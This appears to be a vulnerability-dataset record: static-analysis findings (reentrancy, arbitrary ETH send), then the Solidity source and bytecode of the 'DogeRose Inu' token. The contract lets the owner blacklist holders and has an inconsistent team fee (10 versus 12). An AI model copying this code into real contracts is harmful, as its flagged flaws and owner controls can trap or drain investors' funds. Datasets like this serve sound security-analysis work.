4696f6e206f766572666c6f77000081525061137b565b905092915050565b6000808284611b1491906125ce565b905083811015611b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5090612409565b60405180910390fd5b8091505092915050565b6000611b6d611751565b90506000611b848284611d7990919063ffffffff16565b9050611bd881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c3582600754611abb90919063ffffffff16565b600781905550611c5081600854611b0590919063ffffffff16565b6008819055505050565b600080600080611c866064611c78888a611d7990919063ffffffff16565b61177c90919063ffffffff16565b90506000611cb06064611ca2888b611d7990919063ffffffff16565b61177c90919063ffffffff16565b90506000611cd982611ccb858c611abb90919063ffffffff16565b611abb90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d098589611d7990919063ffffffff16565b90506000611d208689611d7990919063ffffffff16565b90506000611d378789611d7990919063ffffffff16565b90506000611d6082611d528587611abb90919063ffffffff16565b611abb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d8c5760009050611dee565b60008284611d9a9190612655565b9050828482611da99190612624565b14611de9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de090612429565b60405180910390fd5b809150505b92915050565b600081359050611e0381612af3565b92915050565b600081519050611e1881612af3565b92915050565b600081519050611e2d81612b0a565b92915050565b600081359050611e4281612b21565b92915050565b600081519050611e5781612b21565b92915050565b600060208284031215611e7357611e72612839565b5b6000611e8184828501611df4565b91505092915050565b600060208284031215611ea057611e9f612839565b5b6000611eae84828501611e09565b91505092915050565b60008060408385031215611ece57611ecd612839565b5b6000611edc85828601611df4565b9250506020611eed85828601611df4565b9150509250929050565b600080600060608486031215611f1057611f0f612839565b5b6000611f1e86828701611df4565b9350506020611f2f86828701611df4565b9250506040611f4086828701611e33565b9150509250925092565b60008060408385031215611f6157611f60612839565b5b6000611f6f85828601611df4565b9250506020611f8085828601611e33565b9150509250929050565b600060208284031215611fa057611f9f612839565b5b6000611fae84828501611e1e565b91505092915050565b600060208284031215611fcd57611fcc612839565b5b6000611fdb84828501611e33565b91505092915050565b600080600060608486031215611ffd57611ffc612839565b5b600061200b86828701611e48565b935050602061201c86828701611e48565b925050604061202d86828701611e48565b9150509250925092565b6000612043838361204f565b60208301905092915050565b612058816126e3565b82525050565b612067816126e3565b82525050565b600061207882612589565b61208281856125ac565b935061208d83612579565b8060005b838110156120be5781516120a58882612037565b97506120b08361259f565b925050600181019050612091565b5085935050505092915050565b6120d4816126f5565b82525050565b6120e381612738565b82525050565b60006120f482612594565b6120fe81856125bd565b935061210e81856020860161274a565b6121178161283e565b840191505092915050565b600061212f6023836125bd565b915061213a8261284f565b604082019050919050565b6000612152602a836125bd565b915061215d8261289e565b604082019050919050565b60006121756022836125bd565b9150612180826128ed565b604082019050919050565b6000612198601b836125bd565b91506121a38261293c565b602082019050919050565b60006121bb6021836125bd565b91506121c682612965565b604082019050919050565b60006121de6020836125bd565b91506121e9826129b4565b602082019050919050565b60006122016029836125bd565b915061220c826129dd565b604082019050919050565b60006122246025836125bd565b915061222f82612a2c565b604082019050919050565b60006122476024836125bd565b915061225282612a7b565b604082019050919050565b600061226a6017836125bd565b915061227582612aca565b602082019050919050565b61228981612721565b82525050565b6122988161272b565b82525050565b60006020820190506122b3600083018461205e565b92915050565b60006040820190506122ce600083018561205e565b6122db602083018461205e565b9392505050565b60006040820190506122f7600083018561205e565b6123046020830184612280565b9392505050565b600060c082019050612320600083018961205e565b61232d6020830188612280565b61233a60408301876120da565b61234760608301866120da565b612354608083018561205e565b61236160a0830184612280565b979650505050505050565b600060208201905061238160008301846120cb565b92915050565b600060208201905081810360008301526123a181846120e9565b905092915050565b600060208201905081810360008301526123c281612122565b9050919050565b600060208201905081810360008301526123e281612145565b9050919050565b6000602082019050818103600083015261240281612168565b9050919050565b600060208201905081810360008301526124228161218b565b9050919050565b60006020820190508181036000830152612442816121ae565b9050919050565b60006020820190508181036000830152612462816121d1565b9050919050565b60006020820190508181036000830152612482816121f4565b9050919050565b600060208201905081810360008301526124a281612217565b9050919050565b600060208201905081810360008301526124c28161223a565b9050919050565b600060208201905081810360008301526124e28161225d565b9050919050565b60006020820190506124fe6000830184612280565b92915050565b600060a0820190506125196000830188612280565b61252660208301876120da565b8181036040830152612538818661206d565b9050612547606083018561205e565b6125546080830184612280565b9695505050505050565b6000602082019050612573600083018461228f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006125d982612721565b91506125e483612721565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126195761261861277d565b5b828201905092915050565b600061262f82612721565b915061263a83612721565b92508261264a576126496127ac565b5b828204905092915050565b600061266082612721565b915061266b83612721565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126a4576126a361277d565b5b828202905092915050565b60006126ba82612721565b91506126c583612721565b9250828210156126d8576126d761277d565b5b828203905092915050565b60006126ee82612701565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061274382612721565b9050919050565b60005b8381101561276857808201518184015260208101905061274d565b83811115612777576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612afc816126e3565b8114612b0757600080fd5b50565b612b13816126f5565b8114612b1e57600080fd5b50565b612b2a81612721565b8114612b3557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200478460db87e882c9b1db3efe0e5417a75dee295739de9e796fb57bf9cc0e81564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,881 |
0x9c07119a2c1691fa5988a7c8d6a16ad9a8276f6b
|
/**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
//DogeRose Inu (DogeRose)
//Limit Buy
//Cooldown
//Bot Protect
//Liqudity dev provides and lock
//TG: https://t.me/dogeroseinu
//Twitter: https://twitter.com/DogeroseInu
//Website: TBA
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DogeRose is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DogeRose Inu";
string private constant _symbol = "DogeRose";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600c81526020017f446f6765526f736520496e750000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f446f6765526f7365000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffff